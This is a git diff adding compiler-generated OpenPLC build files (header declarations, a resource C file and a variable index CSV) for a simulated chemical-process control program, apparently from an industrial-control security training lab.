+void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; 